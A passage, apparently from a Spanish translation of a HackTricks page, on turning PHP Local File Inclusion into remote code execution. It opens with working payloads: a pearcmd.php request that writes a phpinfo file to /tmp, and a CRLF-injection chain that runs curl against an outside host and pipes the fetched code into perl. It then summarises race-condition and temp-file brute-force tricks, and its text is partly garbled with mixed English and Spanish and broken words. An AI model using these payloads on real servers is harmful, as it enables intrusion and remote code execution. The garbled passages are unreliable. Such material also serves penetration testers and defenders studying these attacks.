GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Lo siguiente abusa de una vuln CRLF para obtener RCE (desde here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Vía phpinfo() (file_uploads = on)
Si encontraste una Local File Inclusion y un archivo que expone phpinfo() con file_uploads = on puedes conseguir RCE:
Vía compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Si encontraste una Local File Inclusion y puedes exfiltrate the path del archivo temporal PERO el server está checking si el file to be included has PHP marks, puedes intentar bypass that check con esta Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Vía eternal waiting + bruteforce
Si puedes abusar de la LFI para subir archivos temporales y hacer que el servidor cuelgue la ejecución de PHP, podrías entonces brute force filenames during hours para encontrar el archivo temporal:
A Fatal Error
Si incluyes cualquiera de los archivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Necesitas incluir el mismo uno 2 veces para provocar ese error).
No sé cuán útil es esto, pero podría serlo.
EIncluso si provocas un PHP Fatal Error, los archivos temporales subidos por PHP se eliminan.
.png)
Referencias
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


